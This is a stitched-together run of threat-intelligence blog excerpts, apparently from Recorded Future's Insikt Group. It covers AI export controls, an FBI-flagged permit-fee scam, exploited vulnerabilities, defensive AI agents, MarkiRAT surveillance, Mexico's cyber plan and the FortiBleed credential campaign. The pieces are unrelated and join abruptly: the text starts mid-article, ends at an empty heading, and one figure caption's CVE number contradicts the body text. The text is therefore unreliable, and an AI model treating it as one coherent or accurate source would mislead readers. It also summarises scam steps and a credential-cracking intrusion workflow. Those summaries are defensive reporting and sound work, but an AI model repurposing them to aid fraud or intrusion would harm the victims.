Even if these security reviews align with the strategic goal of preventing adversaries from accessing powerful US models, this still means AI regulation is developing on a case-by-case basis. This means that AI users won’t fully understand the trade-offs between speed and security. The security guardrails placed on Fable make the tool more difficult to use for legitimate security functions — a problem that security researchers complained about prior to the jailbreak fix. How do users know if the safety benefits gained are worth the capabilities lost?

Ad hoc regulations or classified benchmarks create uncertainty for enterprises. A company may integrate a frontier model into internal workflows only to discover later that access rules have changed, certain employees are restricted, or the model is no longer commercially available. The more powerful the model, the more exposed the organization may be to sudden policy intervention, making it difficult to adopt advanced AI reliably.

At the same time that US frontier models are coming under more scrutiny, open-source Chinese AI models are becoming more widely used. These models cost significantly less than the leading US models; however, they face the same access uncertainty as US models. First, the Chinese government is reportedly considering its own export controls to limit access to its most advanced models and protect proprietary technology. Second, the US government may choose to block access to Chinese tools under its own national security laws. Similar to the ban on Huawei and ZTE telecommunications technology or the attempted ban on TikTok, the US government may determine that using Chinese AI models poses an unacceptable national security threat. Regardless of where the ban originates, the risk of losing access remains the same.

How Security Leaders Should Respond

AI adoption now requires more than evaluating model performance. It requires evaluating regulatory durability, access risk, and operational dependency.

Security leaders should respond across three areas.

1. Mindset Shift: Use Caution on the Frontier

Organizations should stop chasing the latest frontier model and start evaluating which model (or models) is most appropriate for specific workflows. The reality is that most projects do not need to rely on cutting-edge AI capabilities to function. Depending on the task, less sophisticated models may be fully capable of running the operation.

This does not mean companies should avoid frontier models entirely. Rather, they should think strategically about where these models can provide the greatest advantage, while avoiding critical workflows that depend on uninterrupted access to a single frontier provider. This requires a mindset shift: companies must move from treating LLMs as a novelty to managing them as a mature component of the workflow.

2. Governance Shift: Treat Frontier AI as a Volatile Asset

Frontier AI should be treated as a volatile asset: powerful, useful, and potentially transformative, but exposed to sudden changes in regulation, vendor policy, geopolitical pressure, and safety restrictions. This is especially important for multinational companies. If model access becomes tied to citizenship, location, or corporate structure, AI governance becomes more complex than traditional software-as-a-service (SaaS) procurement. A tool may be approved for one team but restricted for another. A vendor may be viable in one jurisdiction but risky in another.

Security teams should ask:

• What happens if access to this model is restricted?
• Which employees, regions, or business units could be affected?
• Can the workflow fall back to another model or internal process?
• Is the model being used for convenience, or has it become operationally critical?

The organizations best positioned for this environment will be those that can benefit from frontier capabilities without becoming trapped by them.

3. Spending Shift: Invest in Resilience Over Novelty

Finally, companies should reassess whether AI budgets are weighted too heavily toward the newest and most capable models. As frontier AI becomes more expensive, restricted, or unpredictable, access to advanced capabilities will not be enough.

The stronger investment may be in resilience: diversified vendors, fallback options, evaluation processes, and workflows that can continue if a preferred model changes or becomes unavailable.

The key budget question should not be only, “Can we access the most powerful model?” but also, “Are we investing in the tools that will provide long-term effectiveness and resilience?”

Final Thoughts

The export controls on Fable may prove to be an isolated case. They may also be the first visible sign of a more restrictive AI era.

This does not mean the era of AI innovation is ending. It means the era of frictionless access to frontier models may be ending. For security leaders, the lesson is not to avoid advanced AI models, but to treat them as volatile assets shaped by cybersecurity risk, geopolitics, export controls, and national security policy. The organizations best prepared for this shift will be those that can benefit from powerful AI capabilities without becoming dependent on access that may disappear overnight.

About Insikt Group^®

Recorded Future’s Insikt Group, the company’s threat research division, comprises analysts and security researchers with deep government, law enforcement, military, and intelligence agency experience. Its mission is to produce intelligence that reduces risk for customers, enables tangible outcomes, and prevents business disruption.

The FBI sounded the alarm. Issuers still can't see it

On March 9, 2026, the FBI's Internet Crime Complaint Center issued a public alert about criminals impersonating city and county officials to collect fraudulent planning and zoning permit fees. The criminals pull publicly available permit records, email property owners who have active applications, and demand payment by wire transfer, peer-to-peer transfer, or cryptocurrency.

Government impersonation schemes like this one were among the fastest-growing categories in the FBI's 2025 Internet Crime Report, with reported losses nearly doubling year over year to roughly $798 million. While the alert raises public awareness, it does little to help issuers screen customers payments against the heightened risk these impersonation scams create.

Why an authorized payment defeats your controls

In this scheme the customer is real, the login is legitimate, and the wire is one the customer chooses to send. Behavioral analysis models are generally built to flag account takeover and out-of-pattern activity, so customer-authorized payments tend to score as low risk and the money moves.

These fraud signals don’t live in the sender's behavior. They live in the destination: the beneficiary (or mule) account that the scammer will use to cash out the stolen funds. That makes this mule account the one signal that often separates a legitimate payment from a scam payment.

Here is how the scheme runs, according to the FBI alert and CYBERA's research:

1. Target selection: the actors identify property owners with active planning or zoning applications using public records
2. Impersonation: they email those owners while posing as the municipal planning department, citing real permit and property details to establish credibility with the target
3. The invoice: they send an official-looking invoice for an approval or processing fee
4. The pressure: they demand a wire on a short deadline and warn that the application will fail if it is missed
5. The confirmation: they ask for the wire receipt to confirm the payment landed

What direct engagement reveals that scoring cannot

CYBERA's research on one active ring, which it has monitored since September 2025 under the internal name Diligent Planner, shows what that destination signal looks like in practice. Rather than estimating risk, CYBERA's analysts engage the scam operations directly and collect the exact accounts the criminals ask victims to wire money to.

Across this single operation, that approach produced 53 verified mule accounts spanning 23 separate email campaigns, with roughly 55 percent of the accounts concentrated in just two beneficiary banks. These are confirmed accounts pulled from the criminals themselves, not probabilistic matches, which can be the difference between an account you can act on and a score you have to second-guess.

Figure 1: CYBERA's mapping of a single money mule ring, expanded from one beneficiary bank into one connected cluster of accounts, emails, and impersonated government bodies (Source: CYBERA)

The 59 vulnerabilities in this report affected products from 36 vendors, with Microsoft accounting for approximately 17% of the vulnerabilities. The remaining exposure was concentrated across a range of enterprise software, security products, network infrastructure, developer tooling, and cloud platform vendors.

Insikt Group created Nuclei templates to detect two of the vulnerabilities featured in this month’s report: CVE-2026-35616 affecting Fortinet FortiClient EMS and CVE-2026-25939 affecting Frangoteam FUXA. These are available to Recorded Future customers via the Recorded Future Intelligence Operations Platform.

Quick reference: June 2026 Vulnerability Table

All 56 vulnerabilities below were actively exploited in June 2026. This table does not include the three CVEs associated with honeypot activity, which are available to Recorded Future customers via the CVE Monthly report, in the platform. The table below also provides examples of public PoCs identified by Insikt Group. These PoCs were not tested for accuracy or efficacy. Vulnerability management teams should exercise caution and verify the validity of PoCs before testing.

Table 1: List of vulnerabilities that were actively exploited in June, 2026 based on Recorded Future data (excluding honeypot-sourced CVEs).

Key trends: June 2026

• In June 2026, StrikeShark exploited public-facing applications to deploy SharkLoader and deliver Cobalt Strike; Lazarus exploited CVE-2025-55182 to deploy COPPERHEDGE; APT36 exploited Microsoft vulnerabilities in operations targeting India; a C0XMO botnet propagated through DD-WRT routers; EKZ information-stealing malware was delivered through FortiClient EMS exploitation; and Qilin ransomware was associated with a vulnerability affecting Check Point gateways.
• 25 of the 59 vulnerabilities enabled remote code execution (RCE), affecting products from 18 vendors: Meta, WinRAR, Ivanti, Google, PTC, Cisco, Ubiquiti, Fortinet, Microsoft, BerriAI, Android, WPEverest, Veeam, Mirasvit, Apache, Hikvision, F5, and GeoServer.
• Insikt Group identified public proof-of-concept (PoC) exploits for 53 of the 59 vulnerabilities identified this month.
• The most commonly observed flaws this month were CWE-22 (Path Traversal), followed by CWE-502 (Deserialization of Untrusted Data), CWE-78 (OS Command Injection), CWE-306 (Missing Authentication for Critical Function), and CWE-287 (Improper Authentication).
• 4 of the 59 vulnerabilities in this month’s prominent vulnerability disclosures table are at least five years old, with the oldest approximately ten years old, reinforcing how attackers continue to exploit long-known weaknesses in environments where patching has lagged. Additionally, the fastest observed time from a vulnerability’s public disclosure to exploitation was less than one day.

Trend analysis: Malware-linked exploitation and intrusion activity

June's strongest campaign-linked theme was the exploitation of externally reachable enterprise applications and appliances. Insikt Group published a TTP Instance on the StrikeShark campaign which described activity spanning CVE-2025-55182 affecting React Server Components, CVE-2021-26855 and CVE-2022-41082 affecting Microsoft Exchange, CVE-2021-36260 affecting Hikvision firmware, CVE-2022-40684 and CVE-2024-21762 affecting Fortinet FortiOS, CVE-2023-20198 affecting Cisco IOS XE Web UI, CVE-2016-4437 affecting Apache Shiro, CVE-2021-27076 affecting Microsoft SharePoint, CVE-2022-27925 affecting Zimbra, CVE-2023-32315 affecting Openfire, CVE-2023-46747 affecting F5 BIG-IP, and CVE-2024-36401 affecting GeoServer. The exploitation of these vulnerabilities resulted in the deployment of SharkLoader, which then delivered Cobalt Strike.

Figure 1: Vulnerability Intelligence Card® for CVE-2025-55128 (React2Shell) in Recorded Future (Source: Recorded Future)

React Server Components was also linked to targeted malware delivery outside the broader StrikeShark set: Lazarus Group exploited CVE-2025-55182 to deploy COPPERHEDGE against financial and blockchain-related organizations. Microsoft-related exploitation appeared in both endpoint and document-processing contexts: APT36 exploited CVE-2026-21509 (affecting Microsoft 365 Apps for Enterprise and Office 2016) and CVE-2026-21513 (affecting Windows client and server versions) in operations targeting India. This activity was linked to backdoor deployment and SHEETCREEP. CVE-2021-27137, affecting DD-WRT firmware, was linked to a C0XMO botnet campaign across Linux architectures, while Qilin Ransomware was associated with CVE-2026-50751 affecting Checkpoint Security Gateway and Spark Firewalls.

PoC exploit trends and analyses associated with this month's high-impact vulnerabilities are available to Recorded Future customers.

1. Are we building, testing, and scaling agents for the coming onslaught of AI-enabled adversary activity?
2. Do we have the breadth of intelligence necessary to move at machine speed?

Why Agents and Why Now?

Timing is everything in life. So the question is: why invest in agents for defensive workflows now? Two premises need to be explained here.

First, let’s focus on financially motivated adversaries that don’t receive a government paycheck (directly or indirectly). The state-sponsored adversaries have a different set of resources at their disposal.

There are controlled cases where Frontier AI models enable autonomous adversarial activity in malware generation or holistic intrusion chains. Even the Five Eyes are officially warning about adversarial use of frontier models. Yet the onslaught of offensive agents hasn’t materialized yet. Like the Uruk-hai attacking Helm’s Deep in The Lord of the Rings, we expect the wave is coming, but the automated army hasn’t arrived. Why not?

Frontier models may be susceptible to context poisoning over time, but it’s difficult to use them at any scale for automated offensive operations. The guardrails are sufficient for the moment. Adversaries are also caught between the OPSEC tension of using third-party APIs (which increases attribution risk) and investing the resources to build local open-source models.

While much has been made of open-source model capabilities, the reality is that time, effort, and financial resources are required to use them effectively for offensive campaigns. To get nerdy for a second (because the details are important), a recent experiment with LibreChat and Dolphin-llama3:14b (uncensored LLM) on a $3K local server (containing a reasonable Nvidia GPU with 16GB of VRAM) revealed that simple tasks like coding a new web shell are still out of reach.

The level of effort and hardware required to build a local resource capable of orchestrating effective autonomous attack agents will only decrease over time. Quantization is the clock defenders should be watching. A reductive quantization explanation in this AI context is using less memory by rounding billions of numbers (weights) rather than maintaining precision, thereby shrinking an AI model’s size. Even though the model is slightly less capable, it’s still useful for most tasks. Quantization drives the hardware bar down, and the lower that bar falls, the sooner opportunistic actors can execute attacks at scale.

The danger for defenders isn’t the headline-grabbing frontier models; it’s the ease with which adversaries can deploy effective local models on modest hardware. Based on the previous 18 months of advances, the next 6-12 months will likely yield similar advances in open-source model capabilities with minimal hardware investment. That’s when opportunistic actors start staging at scale.

Which brings us back to protecting the proverbial house with defensive AI agents. Now is the time to build, not ponder. We don’t jump into self-driving cars until we have some confidence that the edge cases have been worked out. Similarly, the agentic workflow edge cases can’t be discovered and solved without iteration and testing.

Smart CISOs are building an AI control plane (in collaboration with adjacent business units) to enable transparency into AI token consumption, project ROI visibility, and code security. Building and testing agents is part of a larger control-plane project and is particularly time-sensitive.

Sandwiched between data availability and information security regulations, CISOs need to generate trust and confidence in agents. Humans may stay in the decision loop for the foreseeable future, but observing agents in a non-production environment is critical. From applying a patch to generating and applying a signature to quarantining a PC or revoking credentials, there is no substitute for iterating over time. Vendors are certainly useful for sharing domain knowledge and solutions, but given the implications of agents gone bad in production environments, teams should own and observe workflows for an extended period.

Organizations that don’t begin building and iterating with agents now will find themselves at a significant disadvantage as financially motivated actors (specifically) increase their autonomous capabilities using open-source AI models.

Where Should Agents Go First?

This is the second question in practice. Agents are only as good as the data available to them, and moving at machine speed requires intelligence that is both broad and traceable. There’s plenty of low-hanging fruit (brand protection, for example), but the following three categories are big value.

1. CTEM (Continuous Threat Exposure Management). All five CTEM stages are suited for agents. Specifically, AI-led vulnerability discovery is exploding, but reliable patches aren’t always available. The name of the game is K-E-V. KEVs (Known Exploited Vulnerabilities) and agent-built detection signatures are the urgent priority in a sea of largely irrelevant CVSS scores. When newly identified KEVs are combined with a comprehensive asset inventory and enumerated services, from both internal and external views, a powerful agentic workflow emerges. The breadth of KEV intelligence visibility is directly proportional to the quality of CTEM outcomes.

2. BAS (Breach & Attack Simulation). Think continuous Red Teaming. Controls rarely prevent or detect threats at the advertised efficacy rate. Adversary AI will map resources and dismantle controls in minutes. Validating coverage and exposing gaps before an adversary’s agents get in is well-advised. The intelligence necessary to power BAS starts with malware tools, tactics, and procedures (TTPs), but living-off-the-land tools and new procedure permutations are equally important. In the short term, agents will accelerate the orchestration between new TTPs and BAS platforms. Long-term agents will replace many of the BAS platform actions.

3. Security Operations. This is where there’s currently substantial movement in the AI start-up vendor space, as tactical SIEM alerts and potential incident response investigations are triaged faster. Deep intelligence from multiple source classes around indicators and artifacts enables an agentic decision advantage to escalate, remediate, or close a ticket. The discipline is in matching autonomy to consequence. Closing a benign ticket and revoking production credentials sit at opposite ends of the risk spectrum, and the governance model should let agents move fast on the former while keeping a human on the latter.

Agentic Early Adoption or Wait?

Production-grade security agents may still be a work in progress, but investing in research and development now will enable a deeper organizational resilience as models continue to improve and quantization accelerates. The defensive urgency is just beginning; the point is to prepare before opportunistic actors can easily deploy local AI models.

Combining vendor services support with in-house AI and security domain expertise will accelerate the learning curve. Humans stay in the loop where judgment matters, while agents take on more of the repeatable work. Don’t wait. Start building today.

Insikt Group has identified new infrastructure associated with the TAG-182 threat cluster, used to disseminate MarkiRAT malware in support of Iranian government surveillance operations. It is highly likely that TAG-182 is targeting Iranians living inside and outside the country using different lures, including free download tools and fake VPN applications. The group’s operations are highly likely active across social media platforms like Instagram.

As the kinetic conflict with the United States and Israel has subsided since April 2026, Iran's security apparatus is likely redirecting its focus toward intensified cyber surveillance and digital enforcement operations targeting perceived dissidents and alleged foreign collaborators. TAG-182’s operations are consistent with these security objectives and are likely to continue following the partial restoration of internet access in Iran on May 26, 2026. The indicators of compromise (IoCs) for this report are viewable in Appendix A, while defensive signatures are located in Appendix C and Appendix D.

Key Findings

• TAG-182 is highly likely a component of Iran’s broader surveillance ecosystem, using MarkiRAT malware distributed through fake Android applications masquerading as legitimate services such as VPNs and media tools to collect intelligence from Iranian targets.
• The MarkiRAT sample identified during this research shares notable tradecraft overlaps with historical variants, including the use of the Background Intelligent Transfer Service (BITS), suggesting a credible relationship between TAG-182 and activity previously attributed to Ferocious Kitten. However, while these similarities support an operational connection, additional evidence is necessary to confidently assess that the two clusters are organizationally linked.
• Since Iran’s reconnection to the global internet, Iranian surveillance operations are highly likely to increase as authorities seek to identify and monitor perceived dissidents amid concerns over internal unrest and potential uprisings. The majority of Iranian intelligence and security organizations are likely to prioritize enhanced digital surveillance and intelligence collection to support domestic security objectives.

Threat Analysis

In early 2026, open-source information surfaced malware samples linked to MarkiRAT, which has historically been used by Ferocious Kitten for surveillance against anti-government networks, activists, and human rights advocates inside Iran. The IoCs, specifically the lures, suggest that threat actors custom-built a website that acts as a staging point for an application called “YESHICA” (Table 1). Other sample names also include “Pis2ray VPN”, which is not a legitimate application on either Google Play or Apple’s App Store (see Appendix A for additional IoCs).

In March 2026, Insikt Group identified a new sample associated with TAG-182’s updated infrastructure that uses an almost identical media player theme name, “YESHICA YEPlayer” (Figure 1).

Figure 1: TAG-182 continued to operate using similarly named applications despite open-source exposure of its tradecraft and infrastructure (Source: Recorded Future)

In this final article, we’ll show how our Insikt Group research team turns our raw data into actionable intelligence.

The Insikt Group advantage

Made up of experts with backgrounds in government, military, law enforcement, and intelligence agencies, the Insikt Group research team brings decades of expertise to their work analyzing the always-evolving threat landscape. The combination of seasoned human judgment with automated data indexing and analysis embodies the “centaur model” of intelligence, where human analysts and technology work together to produce insights neither could achieve alone.

“Insikt” is Swedish for “insight”. By using their deep knowledge of specific adversary groups and TTPs to contextualize data within broader geopolitical and criminal dynamics, Insikt Group analysts are able to provide insights that automated systems might miss.

A research methodology that sets the standard

Insikt Group uses advanced technical analysis methodologies to uncover threat actor operations. They include:

• Infrastructure detection and pivoting: By combining proprietary Recorded Future Network Traffic Analysis with large-scale automated network traffic analytics and expert analysis, the team can detect malicious infrastructure before it’s even activated. The team uses sophisticated methods to track changes in adversary server configurations, domain registrations, autonomous system numbers (ASNs), and multi-tiered infrastructure layers. These findings are the basis for many research streams, including the annual malicious infrastructure report.
• Victim identification through analysis of adversary infrastructure: Using Network Traffic Analysis Exfiltration Events and geographical intelligence, Insikt Group analysts identify targeted organizations by monitoring communications between victims and command-and-control (C2) servers across 30 billion daily network intelligence records. This approach allows them to identify victim organizations and sectors across malware families and detect ongoing intrusions in near real time. Recent research includes identifying five distinct activity clusters by TAG-144 (Blind Eagle) targeting Colombia government institutions.
• Network traffic analysis and exfiltration event correlation: The team maintains an analysis pipeline that analyzes billions of network intelligence records to identify patterns indicating active compromises, persistence mechanisms, and data exfiltration. This proprietary capability enables detection of threat actor activities within minutes rather than days or weeks. Examples of recent reports include identifying victims targeted by GrayCharlie using compromised WordPress sites.
• Multi-source validation and cross-referencing: Analysts integrate data from over 1 million sources in the Intelligence Graph®, including the Recorded Future Platform, open web, dark web, technical feeds, malware intelligence, customer telemetry, and more. This comprehensive, multi-source approach helps them validate findings across disparate data points and pinpoint connections between threat actors, infrastructure, and targets that would be invisible when examining sources in isolation. Combining multiple sources, Insikt Group analysts reported on Telegram-based “guarantee” marketplaces used by Chinese-speaking criminal groups to understand cyber and fraud campaigns.

Validation from experts with specialized skills

Insikt Group analysts’ multilingual analysis capabilities and cultural expertise enable them to identify and interpret threats that automated systems can’t fully contextualize.

With native foreign-language skills and deep regional knowledge, analysts can analyze activity across dark web forums, underground criminal networks, and foreign-language sources, uncovering nuances in adversary communications and intent that would be lost in translation or missed entirely by automated tools.

This human layer of analysis is particularly critical when monitoring threat actors operating across China, Russia, Iran, and North Korea, where understanding cultural context, geopolitical motivations, and regional dynamics is essential to accurate threat attribution and prediction.

By combining deep subject-matter expertise in nation-state APT groups with continuous monitoring of global developments, Insikt Group delivers a comprehensive view of how geopolitical issues translate into cyber threats against specific organizations and sectors.

Research that powers the Platform and benefits the industry

Insikt Group makes its research available right inside the Recorded Future Platform. The team shares intelligence across a broad range of analytical formats: from breaking Flash Reports and Threat Leads on emerging activity, to deep-dive Cyber Threat Analyses, Actor Profiles, and Malware/Tool Profiles that map adversary behavior, capabilities, and infrastructure. For organizations tracking the broader risk environment, Insikt Group also produces Geopolitical Intelligence Summaries, Country Risk Updates, and forward-looking Geopolitical Threat Forecasts.

Practitioners get hands-on support through Hunting Packages with actionable detections; TTP Instances sourced and verified across open, closed, and technical sources; and Vulnerability Intelligence to prioritize exposure. Payment fraud teams benefit from dedicated coverage including Payment Card Breach Alerts, Magecart E-Skimmer Reports, and Fraud TTP Analysis.

All of this intelligence is automatically linked to Intelligence Cards—Recorded Future's consolidated profiles on entities like threat actors, IP addresses, hashes, and domains—so analysts can pivot directly from Insikt Group research to related indicators, infrastructure, and context.

Customers aren't the only beneficiaries. To advance knowledge across the broader security industry, Insikt Group publishes many of its research reports on the Recorded Future blog and in publicly available threat intelligence reports covering topics ranging from state-sponsored threat groups to newly emerging malware and attacker infrastructure.

A research division that stands apart in the industry

Few threat intelligence vendors can match what Insikt Group delivers as an embedded research division. Building and sustaining a team of this caliber requires significant ongoing investment, so most vendors default to automation alone. This often leaves their customers with an intelligence gap.

Insikt Group analysts and their research also help drive Recorded Future product development, creating a feedback loop that continuously enhances the Platform. For customers, this means the difference between the noise of raw indicators and the signal of intelligence that’s interpreted, validated, and made actionable.

To see how our comprehensive data sourcing can help your organization stay ahead of threats and mitigate business risk, book a custom demo.

Mexico recently unveiled a new National Cybersecurity Plan to be implemented over the remainder of this decade. The proposed plan lays the foundation to address the top cybersecurity threats Mexico has identified, including organized crime, geopolitical threats, and emerging artificial intelligence (AI) threats. The plan comes at a critical moment, as repeated cyber incidents across federal, state, and local institutions in Mexico have exposed the need for a more coordinated national response to reduce the risk of data theft, ransomware, service disruptions, and institutional reputational damage.

Insikt Group analysis of cyber trends from 2020 to 2026 found that Mexico has historically been primarily impacted by ransomware, financial malware and fraud, and hacktivism. Data breaches and theft, organized crime and money laundering, and state-sponsored cybercrime have also represented significant threats. The government, healthcare, and financial sectors have been the primary targets of cyber threat actors, and ransomware continues to be the top threat to Mexican organizations. Mexico also remains an attractive target for state-sponsored cyber activity due to its deep integration with United States (US) supply chains, nearshoring-linked manufacturing base, and underdeveloped cybergovernance.

Mexico is among the top five countries globally with the most documented victims of infostealers and stolen payment cards. Our research indicated that DarkForums is the most popular dark web special-access forum where threat actors discuss cyberattacks targeting Mexico. Mexican drug trafficking organizations (DTOs) are known to leverage Chinese money laundering networks (CMLNs) for their drug proceeds, relying on cryptocurrency to obfuscate their flow of illicit funds and soliciting cybercrime-as-a-service to evade arrests.

The ongoing 2026 FIFA World Cup, co-hosted by Mexico, will be an initial test of the country’s ability to maintain operations and access to digital services amid increased tourism and international scrutiny. Facing this dynamic, organizations in Mexico should enhance their ability to detect cyber threats, prioritize threat visibility, and strengthen incident response planning. They should also train staff and the public on basic cyber safety, with an emphasis on building a practical understanding of how to respond quickly and effectively when incidents occur.

Key Findings

• Mexico’s proposed National Cybersecurity Plan outlines a path to update the country’s cyber posture at a critical moment. While previous attempts to advance national cybersecurity policy failed to get political traction, the administration of President Claudia Sheinbaum has committed to fully implementing this initiative over the course of her term, facilitated by her party’s majority control of Congress.
• In addition to the threats outlined in the plan, Insikt Group assesses that Mexico faces significant challenges related to ransomware, financial malware and fraud, and hacktivism. Data breaches and theft, organized crime and money laundering, and state-sponsored cyber threats also continue to pose a major challenge.
• As Mexico advances its new cyber policy, organizations operating in the country should consider strengthening their threat posture by leveraging cyber threat intelligence solutions, adopting international cyber standards, conducting scenario-planning exercises to improve responses to ransomware, data breaches, cyber espionage, and other threats, and educating employees and the general public.

Mexico’s Cybersecurity Positioning

On December 4, 2025, Mexico’s 2025–2030 National Cybersecurity Plan (hereinafter, the Plan) was published by the Mexican Digital Transformation and Telecommunications Agency (ATDT). The Plan is meant to update Mexican federal cyber policy for today’s threat environment and to create a more secure and resilient digital security policy ecosystem. While the Plan by itself does not create new cyber policies or legal frameworks, it outlines a series of benchmarks and indicators to guide progress toward that end. Ultimately, as the ATDT claims in the Plan, it is an attempt by Mexico to become a regional cyber-leader. Mexico was listed as a “Tier 2” nation in the International Telecommunication Union’s (ITU) 2024 Global Cybersecurity Index, placing it alongside Canada, Ecuador, and Uruguay in the upper ranks of Latin American nations for demonstrating a strong commitment to cybersecurity (Brazil and the US are the only countries in the Americas listed in Tier 1). However, the ITU identifies international cooperation as an area of growth, and Mexico is generally perceived by cyber experts as lagging behind international standards in institutional capacity-building. When implemented, the ATDT claims that the Plan will “position Mexico at the forefront of regional cybersecurity, contributing not only to the protection of its own digital assets and population but also to the strengthening of regional cybersecurity in Latin America and the Caribbean.

Latest Updates

Based on analysis by Insikt Group, we have determined that at least two threat actors are attempting to sell data allegedly from the FortiBleed campaign impacting FortiGate VPN credentials. Also, based on analysis by Insikt Group, we assess that only one of the two sellers of this FortiBleed data is likely credible.

Insikt Group assesses that the threat actor SantaAd, a member of the top-tier Exploit Forum who posted an advertisement on June 12, 2026, claiming to auction off 34,000 lines of FortiGate VPN data, is likely a credible seller of this data. However, Insikt Group did not observe a sample posted in this advertisement thread, and at this time, we cannot confirm whether the FortiGate VPN data advertised by SantaAd is the same data involved in the FortiBleed incident.

On June 21, 2026, Insikt Group identified another seller of data related to the FortiBleed campaign being offered by an illegitimate group with low credibility, leveraging the ShinyHunters branding and operating under the moniker shinymontanna within a public Telegram channel. Within this Telegram channel, shinymontanna is reusing verbatim language used in the auction post by SantaAd. Based on current and historical analysis by Insikt Group, we assess that shinymontanna is likely attempting to re-extort victims of other threat actors and groups, as it has previously done, to capitalize on these incidents by creating greater urgency and fear to entice victims into paying. shinymontanna active since at least late fall 2025, has engaged in extortion attempts, claiming to possess sensitive data, including internal databases and employee information, and has set ransom demands ranging from $100,000 to $2 million for the data's removal. The group has used Telegram for communication and advertisement of their exploits, including illegitimate forums such as BreachForums clones and copies in order to build credibility.

Figure 1: shinymontanna claiming responsibility for the FortiBleed incident in the Telegram channel The Underground _ Uwu 😻 (Source: Recorded Future)

What Happened

On June 13, 2026, security researcher Volodymyr "Bob" Diachenko reported on the "FortiBleed" dataset, which allegedly contains valid administrative and SSL VPN credentials for approximately 73,932 FortiGate firewall URLs across 194 countries and more than 21,600 domains. Diachenko attributed the campaign to a Russian-speaking threat group.

Cybersecurity researcher Kevin Beaumont and threat intelligence firm Hudson Rock subsequently validated portions of the dataset. Beaumont confirmed that sampled administrative credentials were authentic. Many affected devices reportedly remained online at the time of disclosure, ran recent FortiOS versions, and had management interfaces exposed to the internet.

Affected organizations span government, telecommunications, financial services, healthcare, manufacturing, and critical infrastructure sectors, including multinational corporations.

How the Attack Was Executed

According to Diachenko's investigation, threat actors:

• Conducted approximately 1.16 billion credential attempts against 320,777 FortiGate targets
• Conducted approximately 2.1 billion credential attempts against 163,650 Microsoft SQL Server (MSSQL) systems
• Intercepted SSL VPN authentication hashes
• Used a 45-GPU cluster managed through Hashtopolis to crack hashes and recover plaintext credentials
• Accessed internal Active Directory environments using recovered credentials

Researchers assessed that the dataset likely originated from exported FortiGate configuration files, which enabled offline credential recovery without ongoing access to the targeted devices.

Scale and Impact

The FortiBleed dataset covers organizations in 194 countries. Confirmed or reported compromises include organizations in Japan, Taiwan, Vietnam, Iraq, and Türkiye. Among those affected is a Turkish NATO defense contractor from which threat actors allegedly exfiltrated classified documents.

Why This Matters

Several factors make FortiBleed a high-priority incident:

• A subset of credentials have been independently verified as authentic
• Affected devices in many cases remain online with no indication of remediation
• The campaign's scale (73,932 firewall URLs, 194 countries) makes this one of the largest confirmed FortiGate credential exposures on record
• Attribution to a Russian-speaking threat group, combined with confirmed targeting of a NATO defense contractor, raises the likelihood of espionage objectives alongside opportunistic access
• The offline cracking methodology means organizations may have no logs of the initial credential theft

Timeline of Events

• June 13, 2026: Researcher Volodymyr Diachenko publicly reports the FortiBleed dataset and attributes activity to a Russian-speaking threat group
• June 13, 2026: Kevin Beaumont publishes analysis confirming sampled credentials are authentic; notes many affected devices remain online and internet-exposed
• June 13, 2026: Hudson Rock validates portions of the dataset and releases a free FortiBleed lookup tool for organizations to check domain exposure

Recorded Future Independent Analysis

Insikt Group analysts identified malicious activity originating from the IP address 85[.]11[.]187[.]8, which is linked to the FortiBleed attacks, during internal analysis and associated it with AS211486 within the 85[.]11[.]187[.]0/24 range. Analysts observed HTTP activity on port 9999 on June 7, 2026, and SSH, VNC, RDP, and additional attack-capture-related activity from June 14 to June 15, 2026.

Artifacts identified on this infrastructure were consistent with a full credential harvesting and follow-on intrusion workflow, including:

• A sniffer log associated with Fortinet credential capture (fg_capture.log);
• Cracking orchestration files tied to Hashcat, Hashtopolis, and Telegram-coordinated tasking (bot.py, hashpanel.log, setup_hashcat.sh, and setup_hashtopolis.sh;
• Active Directory and LDAP enumeration scripts (ad_enum.py and ad_full_audit.py);
• Password-spraying tooling (spray_*.sh, spray_*.py, and spray_results.txt);
• SMB/DFS collection scripts with staged exfiltration capability backup_dfs.py, backup_dfs2.py, spider.py, and smb_test.py); and
• Log-clearing markers were also present, indicating efforts to remove evidence of activity.

A June 18, 2026 PwnDefend blog post corroborated these findings by independently identifying 85[.]11[.]187[.]8 as a source IP associated with the FortiBleed campaign. The overlap between Insikt Group's internal findings and subsequent public reporting increases confidence in this IP's association with FortiBleed-related credential harvesting, cracking, and follow-on network access activity.

What You Need to Do Now

Immediate actions if your organization runs Fortinet:

• Rotate all FortiGate admin and SSL VPN credentials immediately
• Enforce multi-factor authentication on all remote and administrative access
• Review Fortinet logs for unusual logins, admin sessions, config changes, and new accounts. Consider replacing devices that have had suspicious activity.
• Restrict or remove internet exposure for management interfaces
• Patch FortiOS and review hardening settings
• Hunt for downstream compromise inside the network if exposed credentials were in use

Recorded Future customers with affected domains will receive automated credential alerts if their organization is in the dataset as sources are ingested into the Platform. Customers can access related data from any of the following sources:

• FortiBleed URL, Login, Password (ULP) Credential Leak
• FortiBleed Login and Password List
• FortiBleed Impacted Domains
• FortiBleed Domain Attribution

Recorded Future customers can access the full Analyst Note and FortiBleed Intelligence Card in the Recorded Future Portal for additional indicators, affected organization context, and threat actor attribution detail.

Learn how to stay ahead of emerging threats. Understand all of the critical vulnerabilities that may be affecting your organization. Speak to our threat intelligence experts today.

Insikt Group assesses that government digital surveillance activities pose a high or very high risk in 31 countries, where state actors exploit telecommunications infrastructure, homegrown and commercial spyware, and artificial intelligence (AI)-powered tools to monitor foreign nationals and business travelers with little to no legal accountability. A further 55 countries categorized as medium risk frequently deploy less-sophisticated surveillance capabilities to target political opposition and dissent –– highlighting the need for organizations to adopt appropriate mitigation measures in jurisdictions with limited oversight mechanisms and track records of surveillance targeting foreign entities or supporting domestic repression.

Insikt Group has identified five broad categories of digital surveillance capabilities built in-house or acquired by governments: network interception, endpoint compromise, platform-level access, public space surveillance, and data aggregation. The risk of a government abusing these capabilities is almost certainly higher in jurisdictions lacking independent oversight mechanisms or clear delineations of the legal, necessary, and proportional use of these capabilities, in line with international standards.

Foreign nationals and business travelers who fail to adequately understand and prepare for digital surveillance risks prior to traveling or conducting operations in a given location can face significant personal and organizational damages, including sensitive data breaches, IP theft, targeted intelligence operations, reputational harm, and increased risks from physical threats or detention.

As such, individuals traveling abroad and their respective organizations should implement mitigation measures to protect sensitive data, commensurate with the level of state surveillance risk in the destination country. These measures range from maintaining standard security hygiene in lower-risk environments to using sterile, non-corporate devices when operating in high-risk jurisdictions.

Key Findings

